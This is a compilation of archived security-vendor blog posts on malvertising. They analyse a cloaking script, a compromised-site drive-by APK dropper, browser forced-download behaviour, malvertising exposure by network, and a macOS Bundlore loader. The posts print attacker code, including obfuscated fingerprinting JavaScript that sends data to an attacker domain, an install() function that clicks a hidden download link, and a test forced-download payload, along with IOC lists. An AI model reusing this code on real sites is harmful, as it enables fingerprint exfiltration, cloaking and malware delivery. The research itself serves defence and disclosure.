var a = [navigator[’userAgent’], new Date(), (navigator[_0xd34cc3(’0x4’, ‘thzB’)]instanceof PluginArray ? navigator[_0xd34cc3(’0x5’, ‘6F1#’)][_0xd34cc3(’0x6’, ‘Rm(%’)] : 0x0)[’toString’](), navigator[_0xd34cc3(’0x7’, ‘*Pa6’)], window[’innerHeight’][_0xd34cc3(’0x8’, ‘Rm(%’)](), window[_0xd34cc3(’0x9’, ‘*0((’)][_0xd34cc3(’0xa’, ‘2ENn’)](), (_0xd34cc3(’0xb’, ‘lt3z’)in window || _0xd34cc3(’0xc’, ‘miQl’)in window || ‘phantom’in window)[_0xd34cc3(’0xd’, ‘8gL5’)](), (_0xd34cc3(’0xe’, ‘CBx^’)in window || _0xd34cc3(’0xf’, ‘thzB’)in window || _0xd34cc3(’0x10’, ‘0PsS’)in window || _0xd34cc3(’0x11’, ‘j$V&’)in window || _0xd34cc3(’0x12’, ‘pRZ8’)in document || _0xd34cc3(’0x13’, ‘thzB’)in document || _0xd34cc3(’0x14’, ‘CBx^’)in document || _0xd34cc3(’0x15’, ‘T9W$’)in document || _0xd34cc3(’0x16’, ‘2ENn’)in document || _0xd34cc3(’0x17’, ‘CiJ%’)in document || ‘__webdriver_unwrapped’in document || _0xd34cc3(’0x18’, ‘5r@q’)in document || _0xd34cc3(’0x19’, ‘%O$#’)in document || ‘__webdriver_script_func’in document || document[’documentElement’][_0xd34cc3(’0x1a’, ‘h5k8’)](_0xd34cc3(’0x1b’, ‘i7*i’)) !== null || document[_0xd34cc3(’0x1c’, ‘#z1o’)][_0xd34cc3(’0x1d’, ‘fD8f’)](_0xd34cc3(’0x1e’, ‘fD8f’)) !== null || document[_0xd34cc3(’0x1f’, ‘j$V&’)][_0xd34cc3(’0x20’, ‘fSg[’)](_0xd34cc3(’0x21’, ‘#z1o’)) !== null)[’toString’](), (_0xd34cc3(’0x22’, ‘sbTv’)in navigator)[_0xd34cc3(’0x23’, ‘ahsa’)](), (!!window[’__nightmare’])[_0xd34cc3(’0x24’, ‘miQl’)](), window[_0xd34cc3(’0x25’, ‘v]Ra’)][_0xd34cc3(’0x26’, ‘$tI$’)][_0xd34cc3(’0x27’, ‘#z1o’)](’?’) === -0x1 ? ‘’ : window[_0xd34cc3(’0x28’, ‘T9W$’)][_0xd34cc3(’0x29’, ‘j$V&’)][_0xd34cc3(’0x2a’, ‘5r@q’)](window[_0xd34cc3(’0x2b’, ‘2ENn’)][_0xd34cc3(’0x2c’, ‘4p&n’)][’indexOf’](’?’) + 0x1), f];

This is where the attacker builds an array of fingerprinting values that they will post back to themselves for analysis in order to decide what action to take next.

These fingerprinting checks include, among other items, things like the user agent, date, plugins, and a whole bunch of checks to see if the device is actually a remote controlled browser.

The final array will look something like this:

Lines 86–89 of the fingerprinting script serialize the array and post it back to the attacker as a parameter in the script src uri:

// stage a script tag
var b = document[_0x392d2b(’0x2d’, ‘v]Ra’)](_0x392d2b(’0x2e’, ‘CBx^’));

b[’type’] = _0x392d2b(’0x2f’, ‘N15W’);

// build the src uri and pass the fingerprinting data
b[’src’] = ‘//hollydeal.club/tast/9mwcjwd7j3m6.js?qthohpun=’ + btoa(enc(JSON[_0x392d2b(’0x30’, ‘lt3z’)](a), ‘9mwcjwd7j3m6’));

The code returned by the script tag is going to depend on whether or not the fingerprinting check passed or failed based on the targeting criteria of the malvertiser. If the fingerprint fails, we get served a decoy, which in this case is just the jQuery library. If it passes, we get redirected to a scam.

Here’s an example of a cloaked misleading claim:

At this point you might be wondering why we have placed so much focus on the client-side cloaking component when at the end of the day the fingerprint is going to get evaluated server-side anyway.

This all comes back to the point we made earlier about the sacrifices that bad actors need to make as a result of driving their costs down by leveraging free services and automation.

For example, in the last 30 days alone we have identified close to 200 malicious blogspot landing pages. To crank out another 200 fingerprinting domains becomes a pretty tall order which is why this piece of the malvertising chain often ends up being centralized.

In addition, the cloaking scripts are always on these fake intermediate landing pages as opposed to the ads themselves. This creates a layer of insulation between the ad tech platforms that the bad actors are abusing and their infrastructure.

While some QA processes on the ad tech side might scrutinize fishy fingerprinting inside a creative, it’s rare for ad platforms to go into the same level depth when it comes to the decoy landing pages of the ads themselves.

Let’s look at another malvertiser that likes to abuse blogspot at scale. This one is a personal favorite for their complete lack of even trying to look like they have “real” content to show:

But it get’s even better when we look under the hood at their fingerprinting code, all centralized around a single domain, muatui[.]com.

Oddly enough, the code makes zero effort to conceal what’s actually going on!

Let’s look at the ajax_ads() function on line 143 where the fingerprint is sent to the server:

if(result.cloak_result == 0){
  fake_page_url = result.ads_fake_url;
  if(fake_page_url !==  null && fake_page_url !== ‘’){
    window.location.href=fake_page_url;
  }
}else{
  real_page_url = result.ads_real_url;
    if(real_page_url !==  null && real_page_url !== ‘’){
      window.location.href=real_page_url;
    }
}

And let’s see what the AJAX response looks like as well:

{”ads_id”:”“,”visitor_ip”:”[redacted]”,”cloak_result”:0,”ads_fake_url”:”“,”ads_real_url”:”“,”debug_sql”:null}

Nice of them to let us know in plain text when they want to redirect to the fake page vs. the real page!

Of course blogspot is not the only vehicle for free cloaking page hosting. Services that are a bit more obscure are leveraged as well.

For example, here’s a fake e-commerce store that cloaks a scam page:

This time the cloaking is a bit more subtle:

And upon closer inspection, it’s just a little more bit more advanced as well. Here it is beautified:

Most of the code is not obfuscated, with the exception of the base64 encoded chunk on line 2, that like our previous payload, is used to check for remote controlled browsers:

The facebook url at the end serves as a pretty solid decoy as well:

A Note On Impact

Today, this type of cloaked clickbait-and-switch attack chain is the fastest growing malvertising tactic, even though it’s far from new.

In the last 30 days alone we’ve detected over 1300 cloaked landing page domains used either in outright scams or otherwise misleading schemes.

Services that are regularly abused include Blogspot, Github, Gitlab, and other more obscure free hosting solutions that are optimal for single page sites and are easily churn-able.

Partial IOC List (Last 30 Days)

Github —

jewelledelacruz.github.io
jeffyufdgd.github.io
ramirezarjay484.github.io
brandondumlao48.github.io
peytoncruz283.github.io
ruthcubero46.github.io
maxwelldimayuga.github.io
monicasoria467.github.io
alaineblesstripulca.github.io
jrkanecent.github.io
sofiaescudero1.github.io
nhythan21.github.io
jewelledelacruz2.github.io
samnthcrz.github.io
akshmirrnews.github.io
corygreen1.github.io

Blogspot —

tacosoupreceipe.blogspot.com
fashiontipsandidea.blogspot.com
whitesaucepastareceipe.blogspot.com
tomatosaucerecipesb.blogspot.com
cookierecipesbl.blogspot.com
aromatherapyprocess.blogspot.com
bestbeacin.blogspot.com
blushforface.blogspot.com
sonapurrecipes.blogspot.com
cookierecipesblo.blogspot.com
mothersdaygiftguid.blogspot.com
smokeyeyesyellow.blogspot.com
everydaymakeuproutin.blogspot.com
cobbsaladreceipe.blogspot.com
pumpkinsouprecipeblog.blogspot.com
tippingtourguide.blogspot.com
coboltteam3.blogspot.com
moviedayathome.blogspot.com
applecinnamonpanpies.blogspot.com
marakeshtbhere.blogspot.com
seconddedition.blogspot.com
countryfriedchicken.blogspot.com
quickbeansouprecipeblogs.blogspot.com
ecommerceguide22.blogspot.com
creativegifts12.blogspot.com
pintoposolerecipeblog.blogspot.com
firsttedition.blogspot.com
madubintangtujuh.blogspot.com
fifthhedition.blogspot.com
amlaforhaircare.blogspot.com
lasagnarecipeblog.blogspot.com
orangebiscottirecipeblogs.blogspot.com
albertatravelguide.blogspot.com
amazingosloguideblog.blogspot.com
wesreco.blogspot.com
tastysugarapplecake.blogspot.com
tastychickentikkamasala.blogspot.com
sorsontbnow.blogspot.com
chicagotravelexploreblogs.blogspot.com
fgjrtjjtj.blogspot.com
cabagecalad.blogspot.com
besthostelsinlosangeles.blogspot.com
skincarelookingyounger.blogspot.com
breadrecispe.blogspot.com
gulabphirnirecipeblog.blogspot.com
cookingideasnew.blogspot.com
helochefnew.blogspot.com
hairmaskdiy.blogspot.com
ghktk.blogspot.com
jtyjtggg.blogspot.com
rfgrghtf.blogspot.com
fortyj.blogspot.com
dfgsdgfdhrb.blogspot.com
gjjyyyjjh.blogspot.com
hgjhhnytt.blogspot.com
ytytkkk.blogspot.com
dfgbfsz.blogspot.com
jplvvnihs.blogspot.com
pjunnbf.blogspot.com
gagegagsa.blogspot.com
thirtj.blogspot.com
twelvejl.blogspot.com
ljhljhku.blogspot.com
lkjhvg.blogspot.com
elevenjl.blogspot.com
jpvfive.blogspot.com
waystogrowhairfaster.blogspot.com
takingcareofanimals1.blogspot.com
hydratingskinimportance.blogspot.com
jpveight.blogspot.com
hydratinskintrue.blogspot.com
putyina.blogspot.com
jkuihio.blogspot.com
uiszbv.blogspot.com
ibjkkkk.blogspot.com
hjkjfghdfgd.blogspot.com
oppijkjkjlj.blogspot.com
hfgrsew.blogspot.com
retrgeds.blogspot.com
ytgyhew.blogspot.com
kufgb.blogspot.com
gfhtghew.blogspot.com
sdfdfdaaa.blogspot.com
fsdfsdfdsdsdd.blogspot.com
fsfcxcsz.blogspot.com
czxcxcczcx.blogspot.com
fsdggdscxc.blogspot.com
csixjv.blogspot.com
fdnyr.blogspot.com
thbfv.blogspot.com
fsdfsdfdffff.blogspot.com
dfsfdsdd.blogspot.com
vxcvxcvvvxv.blogspot.com
gfgghghjdg.blogspot.com
khktyy.blogspot.com
hjngytr.blogspot.com
yrfghng.blogspot.com
ryhgy.blogspot.com
vdsgfccc.blogspot.com
fsrevxxxvvbb.blogspot.com
fsdfdsgvc.blogspot.com
ertgtyrte.blogspot.com
curreason.blogspot.com
czxczxcx.blogspot.com
tastychickensaladrecipe.blogspot.com
homemadapplepiee.blogspot.com
tunacubi.blogspot.com
fsfdsdfffff.blogspot.com
delicioustofuburger.blogspot.com
liiooyy.blogspot.com
gggtet.blogspot.com
czfvcxcvbv.blogspot.com
grftrftgrftfbfgb.blogspot.com
rgrfrw.blogspot.com
fdfdsfcctrfsd.blogspot.com
vxcgdyh.blogspot.com
privateofficesb.blogspot.com
vxcvszafgf.blogspot.com
bdfghjfhsja.blogspot.com
vxcvxcvcxvbvb.blogspot.com
wtefzxcvvc.blogspot.com
fgsdgfsz.blogspot.com
weteyrfad.blogspot.com
tyjddm.blogspot.com
jiiasa.blogspot.com
jpvsix.blogspot.com
liamflye.blogspot.com
vxcccczz.blogspot.com
vxcvcxvcv.blogspot.com
fsydzaafff.blogspot.com
attablend.blogspot.com
kuiuyutr.blogspot.com
meetingvenuesb.blogspot.com
rinkuouts.blogspot.com
fghghtrer.blogspot.com
pintoposolerecipeblogs.blogspot.com
carlifoniabeautysecrets.blogspot.com

Gitlab —

yvonnemacasero.gitlab.io
celiacanales75.gitlab.io
anagorngon.gitlab.io
claithondelacruz.gitlab.io
hodayokun12.gitlab.io

Archive: This article was originally published on our Confiant Medium blog on December 11, 2020.

Photo by Tianyi Ma on Unsplash

This blog post will explore the details behind a recent spree of website hacks and the malicious payloads that were embedded and served to unwitting victims. We will also discuss drive-by downloads, how they’re currently addressed in major browsers, and how they will be addressed in the future.

We also hope to illustrate that malvertising includes a much broader landscape beyond what happens merely in the ad slot. Though media buys are the most common entry point for malvertisers, they are one of many options. In a typical malvertising chain, there are multiple handoffs, similar to a traditional ad tech driven CPA campaign. With malware, it just so happens that the latter stages of the hand off happen among sketchy middlemen that pull the victim to a malicious landing page.

The blurred boundary is further illustrated by an increased perception from publishers and audiences that incidents like this are driven by malicious ads. This speaks to the normalization of malvertising attacks, which ultimately hurts the ad tech industry.

The story starts with reports of the following malicious overlays serving on BoingBoing:

These overlays resulted in a large number of reader complaints to BoingBoing. When the incident was finally addressed and the offending code removed, BoingBoing provided a disclosure of the incident to their readers:

Boing Boing was hacked

Dear Boing Boing readers -- Around 11:30 EST on January 10th, An unknown…boingboing.net

Because of the nature of programmatic advertising, we first assumed this was a malicious adscript, and asked initial reporters to report this activity via our Ad Partner’s “bad ad” reporting page.

We believe that BoingBoing’s response to this incident was appropriate if not exemplary, and we commend their public disclosure, however we have seen the sentiment above become somewhat of a knee-jerk reaction to incidents like this — where site compromises are assumed to be “bad ad” experiences.

Over the following weeks, we detected this attack on a multitude of sites. Usually this manifests through a CMS compromise that introduces this malicious payload.

Let’s investigate what happens next:

Upon hitting the green “Install” button, an APK is dropped while the victim is presented with an instruction manual on how to override the device’s security settings in order to enable the installation of the malicious application.

Of course this is an Android variant of the malicious application, but certainly non-Android devices will be targeted with malicious applications specifically targeted for those platforms.

While the screenshots that we’ve used above are from the BoingBoing incident, the rest of our blogpost will dissect the client-side payload as found on a different, unnamed publisher.

After CMS compromise, the attacker embeds the following JavaScript on the hacked site:

To the untrained eye, it looks like it might be a snippet from a Google library or something equally as harmless, but what this snippet does is actually load the second stage by dropping a script that loads a resource from the attacker’s domain: cdnwp[.]org

<script src=”hxxps://cdnwp[.]org/jquery?se_referrer=&amp;default_keyword=[Victim_Page_Title]&amp;&amp;frm=script”></script>

By the way, this is by now a known bad domain.

From there, we see a 302 redirect to the second stage of the JavaScript payload:

hxxps://xynmaiiiiiii.website/wp-content/mv/plugins-wp-v1.15-mobile.js

And here’s the code:

The primary function of this code is to render the interactive widget in the screenshots above. Rather than offer a line by line analysis of this code, which is a bit outside of the scope of this blog post, we will focus on the `install()` function.

Here it is de-obfuscated:

function install() {

  // remove the first slide of the widget
  let _0x25852a = document[’getElementById’](’gpaa’);

  // create a download link for the malicious APK
  _0x25852a[’parentNode’][’removeChild’](_0x25852a);
  var _0x30f5fc = document[’createElement’](’a’);

  _0x30f5fc[’setAttribute’](’href’,     ‘https://xynmaiiiiiii.website/QrX7WY?...’);

  // append the link to the body, make sure it’s invisible.

  _0x30f5fc[’setAtrribute’](’download’, ‘download’);
  _0x30f5fc[’style’][’display’] = ‘none’;
  document[’body’[’appendChild’](_0x30f5fc);

  // click the link to spawn the download

  _0x30f5fc[’click’]();

  // show the installation instructions

  document[’body’][’innerHTML’] += template_second;

}

The code here is as impactful as it is simple, but the major takeaway is that the APK drop is not actually a result of the victim clicking the ‘Install’ button, but rather an artificially staged link with a download parameter that is clicked using JavaScript.

In fact, this mechanism and similar techniques are the main implementation for the drive-by downloads typically associated with malvertising campaigns. This all begs the question of the browser’s role in these types of forced downloads, how they’ve been addressed to date, and how will they be addressed in the future.

We will get to all of that in a bit, but first a word on the actual malware, which happens to be a BankBot Anubis variant:

New Variant of BankBot Banking Trojan Ups Ante, Cashes Out on Android Users
A newly observed variant of BankBot has been discovered masquerading as Adobe Flash Player, Avito, and an HD Video…info.phishlabs.com

The variant that’s being proliferated by this attacker connects to the following C2 endpoints:

abusehio[.]club
ktosdelaetskrintotpidor[.]com
sositehuypidarasi[.]com

Impact & Scope

To date we have identified the presence of the IOCs associated with this attacker on 15 sites in our telemetry, but a cursory look at Virus Total shows that activity around this particular payload has been ongoing for at least a year and that these C2 domains are leveraged by multiple variants of the malware:

Drive-by Downloads

Having uncovered the mechanism that this attacker uses to drop the APK, we decided to conduct an audit of recent popular browser versions and how they handle downloads that are not initiated by user interaction. The inspiration for doing this analysis was the shocking discovery that most browsers will honor forced downloads from cross-origin frames.

In fact, forced downloads like this are still often possible in Sandboxed Cross-Origin iframes, having only been addressed in Chrome for this last release of Chrome 83:

https://www.chromestatus.com/feature/5706745674465280

For our study, we will test the mechanism inside and outside of cross-origin iframes. The payload we use looks like this:

document.write(navigator.userAgent)
link = document.createElement(’a’);
// try a few different file extensions depending on platform
link.setAttribute(’href’, ‘payload.apk’);
link.setAttribute(’download’, ‘download’);
link.style.display = ‘none’;
document.body.appendChild(link);
link.click();

Early observations have shown that sometimes browsers will treat varying file extensions in different ways, so we will tamper with it a little bit and share our findings where noteworthy.

Our sandboxed cross-origin frames will include the following sandbox attributes which are standard for ad serving:

allow-forms allow-pointer-lock allow-popups-to-escape-sandbox allow-popups allow-same-origin allow-scripts allow-top-navigation-by-user-activation

To avoid screenshot fatigue for the rest of this blog post, we will provide a few relevant example instead of a dump of all the results, but we encourage readers to run their own experiments and explore this lack of standardization for themselves.

Chrome 83, does indeed block downloads initiated from sandboxed cross-origin frames, but is happy to drop a file if sandbox parameters are not set:

However, other desktop browsers are happy to prompt the download, including the security conscious Brave:

And FireFox:

The download prompt itself, is also worthy of some scrutiny, as that doesn’t appear to behave consistently across browsers either. For example, the Brave screenshot above, makes it look like origin1.me is initiating the download, but FireFox does make the distinction that it’s a different origin in their modal.

Scarier still, is the fact that under many circumstances, many browsers will drop the download without a prompt at all. For example, the same payload in a non-sandboxed cross-origin iframe in Chrome 83 will drop the download without a prompt, and without any indication that the initiator is not the origin that’s displayed in the URL bar:

FireFox is consistent with their prompt:

And Safari, for some reason wants to honor the download, but seems to just get stuck:

Inconsistent behavior follows us into mobile territory as well. For example, Android browsers are quick to warn you when the download is a file with an APK extension, but anything else often doesn’t even get a prompt.

TL;DR

Nuanced browser differences have been a pain point on the web since day one, but now that the number of APIs supported by these applications is seemingly endless, perhaps it’s time to think about how these features should be standardized in their implementation?

As part of our client-side malware research, we often find these subtleties are often abused by malvertising threat actors, especially within the territory of cross-origin iframes, as they are so prevalent in ad tech.

Browser developers are tasked with implementing API and protocol standards, but certain security components are often glazed over in the specifications themselves and left to the discretion of the development teams, only to be addressed ad-hoc when abuses of well-known limitations like this reach high profile status.

It’s 2020 and we can still force downloads that are not user initiated, without any prompt from cross-origin iframes in half of the major browsers out there. Why?

Finally, within the context of hacked sites as perpetrated by our cdnwp attacker, ad tech itself has no role to play. No amount of ad or iframe sandboxing can help to mitigate the ‘last mile’ of this attack. Since the download happens to be dropped from a seemingly trusted source, perhaps we should think about always prompting users before a download takes place along with an informational modal about the origin of the download.

A victim that’s not all too tech savvy might still raise an eyebrow and think twice if the origin of a download on BoingBoing is xynmaiiiiiii[.]website.

Attacker IOCs

cdnwp[.]org
xynmaiiiiiii[.]website
abusehio[.]club
ktosdelaetskrintotpidor[.]com
sositehuypidarasi[.]com

Archive: This article was originally published on our Confiant Medium blog on June 1, 2020.

Most of the malvertising disclosures we have done to date have centered around attacker infrastructure, exploits, and IOCs. In this blog post we will explore the threat of malvertising from the other end of the tunnel and look at what organizations are being disproportionately targeted in these attacks as well as which threats they are the most likely to face. Our focus will be on Fortune 100 corporations as well as government institutions, and ISPs.

Methodology

Confiant protects publishers and their audiences from malvertising attacks via client-side integrations that block malicious advertisements in real-time. We have coverage on tens of thousands of websites and have monitored over 1 trillion digital advertising events since we have introduced our blocking product.

For every malvertising incident that we block, we collect some metadata about where that ad was served. We don’t store any PII, but for any given incident we know things like device, browser, and geo to name a few. When we aggregate these incidents by ASN, we can explore which networks emerge as outliers when it comes to attack volumes.

Note: ASNs are gathered via MaxMind lookups of client IP addresses.

Exposure Index

The observations that we present in this blog post are based on 3 months of client-side monitoring from Oct. 15, 2019 — Jan. 15,2020. The total number of global malvertising incidents for this time span is ~378MM.

A malvertising incident within the context of this blog post is when an ad is shown on one of our publisher customer’s properties, but prevented from rendering by our security solution. Most incidents are recognized by either the presence of a domain or “creative ID” that is deemed to load unsafe resources, but many times it can be a heuristic based determination as well.

In order to normalize the data presented in this blog post, we introduce the concept of an “exposure index”.

Since we are dealing with such a large dataset, it’s untenable to crunch billions of rows of data that account for each individual ad impression or malvertising incident. Instead, we have taken a one day snapshot of our monitoring volumes by ASN (which is stable day over day) and used this as a baseline in order to establish a ratio that denotes how exposed a network is to malvertising attacks.

For example, an exposure index of 1 is average and an exposure index of 1.01 means that an organization is 1 percent more exposed than average. Please keep this in mind when reviewing the data, as raw blocking statistics can be quite misleading otherwise.

Malvertising Threat Actors

We see many malicious campaigns day in and day out. When we analyze the unique characteristics and modus operandi of these attacks, we’re able to attribute a significant amount of activity to several persistent groups. We provide a brief synopsis on some of the more impactful attackers below, as we have chosen to present our findings based on the activity of these outliers.

eGobbler — This Asia-based attack group has a history of exploiting obscure browser bugs to bypass built-in browser protections against pop-ups and forced redirects.

Malvertiser ‘eGobbler’ Exploits Chrome & WebKit Bugs, Infects Over 1 Billion Ads
We have written about the threat actor eGobbler extensively on our blog over the last year as they’ve continued to…blog.confiant.com

Massive eGobbler Malvertising Campaign Leverages Chrome Vulnerability To Target iOS Users
As publishers have become increasingly aware over the last week, there’s a series of rampant malvertising campaigns on…blog.confiant.com

Scamclub — Stands apart from their malvertising peers in their approach toward evasion. Whereas most high-profile malvertisers choose to hide behind carefully crafted fingerprinting and targeting, Scamclub relies on bombardment tactics designed to overwhelm platforms and security vendors by creating a flood of dangerous demand that they hope will spill beyond any anti-malvertising gatekeeping.

Malvertising Attack Hijacks 300 Million Sessions Over 48 Hours
Nov 12th Malvertising Attack Serves Adult Content and Gift Card Scamsblog.confiant.com

Yosec — One of the new kids on the malvertising block. Named after their CTA messaging along the lines of “Your Mac Security”, this attacker based in Eastern Europe has been consistently serving up redirects to threatening malware pages. They are a major source of distribution for the notorious Shlayer trojan:

OSX/Shlayer new Shurprise.. unveiling OSX/Tarmac
Mac Spyware Shlayer is now dropping an entirely new malware we called OSX/Tarmac.blog.confiant.com

SelfRef10 — Specializes in forming bi-directional ad tech relationships that empower them both to buy and to sell so that they can play both sides of the coin. They’ve shown no signs of slowdown in the last half year and continue to run desktop redirect campaigns, often choosing vague domains as delivery vehicles.

Hong Kong Based Malvertiser Brokers Traffic To Fake Antivirus Scams — Over 100 Million Ads…
This blog post explores the techniques and tactics of a persistent malvertiser that operates under a company called…blog.confiant.com

GPack77 — This threat actor based in Latin America is responsible for mobile redirects (Android) that primarily target Europe.

MWC — This attacker is behind some of the ubiquitous giveaway or sweepstakes scams that are often byproducts of forced redirect campaigns.Typically they masquerade as e-commerce brands, going as far as creating an entire digital presence for each of their campaigns by stealing existing brand’s websites and hosting them under typo domains.

Zirconium — Zirconium runs a very sophisticated malvertising operation that’s notable for unique fingerprinting techniques that are carried out in multiple stages. This group, which just two years ago was focused on churning out fake agencies by the handful in order to win seats on buying platforms, has since shifted their approach, but are still running similar tech support focused malvertising campaigns.

Zirconium was one step ahead of Chrome’s redirect blocker with 0-day
On January 15, Confiant exposed the activity of the Zirconium group, spreading malicious ads via a network of fake ad…blog.confiant.com

A note on unattributed incidents:

It’s important to not get overzealous with attributing independent campaigns or incidents to a single attacker as it’s a discipline that blurs boundaries between art and science, and inaccurate assessments can have dire consequences. Attackers that are not categorically relevant to this blog post are reported as “Other” in the dataset.

Malvertising’s Impact on Government Networks

We can dive right into the data and take the top 5 government networks ranked by number of malvertising incidents during our time frame. Here are they are ranked by exposure index:

Unpacking The Findings

Fortunately, every organization on the list has an index below 1, which is exactly as we had hoped, but what immediately stands out is how the distribution of incidents by attacker varies so greatly from agency to agency.

What does it mean that the United States Geological Survey has been hit by Zirconium 22.5% vs the United States Senate’s 3.3%? Does it mean that Zirconium are actively attacking the Geological Survey with tech support scams?

The answer is probably not, however the fact that malvertising attacks are highly targeted is certainly responsible for this uneven distribution. For example, Zirconium payloads are often centered around tech support scams that are heavily targeted against outdated browsers.

Display advertising inherently has dozens of targeting criteria baked in for advertisers both good and bad to take advantage of, so of course it makes sense that a malicious campaign reliant on Windows virus warning messaging would be set up with targeting preference. Perhaps the machines on the Senate’s network are running browsers that are less attractive to Zirconium?

Our hypothesis is easily confirmed when we pull reporting by browser — 23% of traffic recorded from the Geological Survey is Internet Explorer, but only 1.6% for the Senate.

In addition, it’s especially noteworthy that malvertising campaigns are also heavily geo targeted and any given network infrastructure might have a geographic distribution that skews towards a region which might be more impacted during the time frame that we are looking at.

Impact On Fortune 100

For this section, we have singled out a variety of Fortune 100 companies, as well as a few household names. Again, our findings present that all of these major businesses have an exposure index that’s below average. It’s a refreshing finding, but not entirely unexpected.

Malvertising Exposure By ISP

For this section, we zoom out a bit from the granularity we have presented so far and single out some ISPs and mobile providers. We curated the list below by sorting in order of most incidents for the time frame provided.

Unpacking The Findings

The ISP data provides new and interesting variance with both the exposure index and malvertiser breakdown. It also provides some telling context around the geo targeting tactics employed by these attackers.

Let’s look at the most obvious outlier here — NTT. The Nippon Telegraph and Telephone Corporation is among the largest telecom companies in the world, and of the incidents blocked on their network for the given time period, 99.9% are comprised of Zirconium malvertisements!

To date, we don’t see too many attackers going after Japanese audiences in this way, with US and EU getting the brunt of the action, but it’s an over-exploited market for Zirconium during this time frame.

We can make similar observations with Wind Tre — an Italian telecom operator. 87.1% of the incidents blocked on their network are attributed to gpack77. It’s clear that this attacker is quite underrepresented in the breakdown of most US based providers, but mobile users on this EU based provider are overexposed to their campaigns.

Bizarre Outliers

Then there are the confusing anomalies that sorely stand out. Provided below are the top 10 ASNs with over 1000 incidents ranked by exposure index. The majority of these based out of Russia and if we were to create pie charts for these, it would be a solid blue circle with 100% unattributed incidents.

In Conclusion

The findings above present a unique glimpse into how vulnerable some of these very high profile organizations are to the threat of malvertising. We found significant variance among ISPs, likely because these campaigns are designed to target specific audiences, and this targeting changes significantly over time as the attackers refine their strategies. We also found that in general, even the highest impacted government agencies and Fortune 100 companies are (to varying degrees) less exposed than the average corporate network — a significant finding considering that a compromise on one of these networks presents an impact that is magnitudes more severe than if the average internet user falls victim.

Appendix — A Curated Data Dump

Archive: This article was originally published on our Confiant Medium blog on February 24, 2020.

Looking at a recent Malvertising campaign detected by Confiant’s realtime Malvertising detection engine, we stumbled upon a slightly different piece of the macOS Bundlore Loader, so we thought it might be interesting for our readers to get some enlightening feedback on what our favorite Malvertising threat actors are up to these days. We are also going to share some techniques and tools that we specifically built for this exercise, and tools that can be used to analyze other macOS malware as well... so without further ado, let’s get started!

Table of Contents:

• OSX/Bundlore Loader Analysis

• Enter LLDB Python API

• Analyzing OSX/Bundlore Loader using Emulation

• What’s inside that hidden Python ?

• Conclusion

OSX/Bundlore Loader Analysis

A very brief OSX/Bundlore history

OSX/Bundlore, macOS Bundlore, or BundloreX has been analyzed previously by macKeeper in a blog post earlier this year. In fact, macOS Bundlore has a long history of bypassing macOS security measures seemingly for each released version of macOS/OSX, since 2015.

OSX/Bundlore Loader evolution

A critical task for virtually any sophisticated malware is the loading phase. This is an important initial phase of “loading malicious code into the system” and is a critical point for a security solution to start detecting a malicious behavior.

Failure to detect a malware while it is loading is obviously too late as the malicious routines will start executing (e.g: hooking user processes, privilege escalation, executing ransomware, loading other executables, lateral movement, etc..)

That might also explain why we have so many OSX/Shlayer X variants as they keep changing ways to load malware into macOS systems. In a similar fashion, OSX/Bundlore Loader also sustained sudden changes that we will document in this blog post.

OSX/Bundlore — November Campaign

We stumbled upon a recent Malvertising campaign targeting the United States. Impacted visitors are redirected to a malicious domain that offers yet another flash player update, to ultimately download an unsigned Adobe Flash Player.dmg. When mounted, we found a malicious and unsigned app AdobleFlashPlayer.app executing a Bash script :

This bash script will base64 decode and execute an unsigned Mach-O x64 binary we will refer to it as : OSX/Bundlore Loader. It has the following SHA-256 hash:

ac86946f8badb74a044509705da31a30be396bc09f8394e0b88f0f306d9eade3

Note: I specifically uploaded the sample above to VirusTotal for intel sharing, as I always receive requests in DMs for sample sharing.

Let’s compare this recent Loader we found with the previous Loader that has been analyzed by MacKeeper in their blog:

The MacKeeper sample above uses AES_256_CBC to decrypt a Python payload to ultimately execute it in a child process created via fork().

The recent version that we detected above does things differently. The AES decryption mechanism was replaced with 9 weird looking functions. Here’s a quick analysis:

The overall execution process is the same as the previous version:

• The child process is created via fork()

• The previous pipe created by the parent process will be duplicated to STDIN via dup2(). (Hence the xor ESI, ESI, which returns ESI=0, and 0 is the macro value of the STDIN file descriptor.)

• The default Python process will be created by the child process via execv() and will execute the data coming from STDIN (that should contains the hidden Python payload).

Note: The pipe can be used by the creating process, as well as all its child processes, for reading and writing. One process can write to this “virtual file” or pipe and another related process can read from it.

Looking at the 9 functions, it turns out they have the Python hidden payload stored via stackstrings!

The stackstrings stored inside the 9 functions are long and scrambled which makes them virtually unreadable and adds a fair complexity to analysis. Here’s an example of the disassembly of function _funct0, one of the 9 functions in this Loader:

We can see a call to write() that will actually write these stackstrings to the pipe.

Note: The write() call is important to keep in mind for the rest of this blog

Finally, dumping the Python code isn’t trivial as it was in the previous sample. The extraction and the analysis of these stackstrings are required to understand this Loader main purpose.

Why stackstrings?

Stackstrings is a technique that basically mixes code and data inside one executable. It is a common and known technique, and yet effective to evade naive static malware analysis tools.

Instead of having a large AES encrypted blob in the data section that can raise suspicions in common static analysis tools, the authors instead had these strings copied into the stack scrambled within other x86 instructions which makes them “hidden” and not trivial to detect. Reconstructing these strings usually requires lot of debugging or emulation.

Needless to say, command line tools like strings are unable to print stackstrings:

Also, tools like FLOSS are only compatible with PE files, and do not work with Mach-O files:

Furthermore, in our analysis, printing the hidden stackstrings wouldn’t be enough. We need to reconstruct the exact original hidden Python script and have it ready for analysis. (We are already assuming that it is a Python script, but it can be anything else.)

There are different existing ways to accomplish this and we want to use automation and scripting as much as we can!

Enter LLDB Python API

For every macOS malware I came across, I had to use LLDB to debug it. LLDB is the default debugger in Xcode on macOS and supports the debugging of C, Objective-C and C++ on desktop and iOS devices and simulator. It is somewhat the equivalent of GDB on Linux systems and specifically has pretty much everything we need for macOS malware analysis.

LLDB provides a public Python API that we can use to script most of our debugging tasks. We can then write a tool using this API to control LLDB breakpoints, write custom callbacks, and fully reconstruct the hidden Python payload!

Creating our first custom LLDB command

We will start by creating a custom LLDB command and calling it : bundlore_python_dump.

This can be done by defining a function __lldb_init_module that will be called when the Python script will be imported to LLDB via the command:

command import script /path/to/bundlore_python_dump.py

Let’s define our custom LLDB command as such:

This custom command will call a custom_breakpoints function where we will define our custom breakpoints and their callbacks. We will have to setup a breakpoint on the write() function, as we know this function will write the hidden Python data to the pipe.

We also need to stop debugging the parent process once we finished dumping the Python hidden payload, so we will have to break into waitpid() function and stop the parent execution there.

Let’s define two breakpoints for the aforementioned functions and a callback for each of them:

Let’s define the waitpid() custom callback function. This custom callback function will be called when the breakpoint that we placed on waitpid() will be hit. As of now, this function will only print a message, saying that the Python hidden payload was fully dumped into a file we chose.

This function will also kill the parent process as there is no need to run any further instructions:

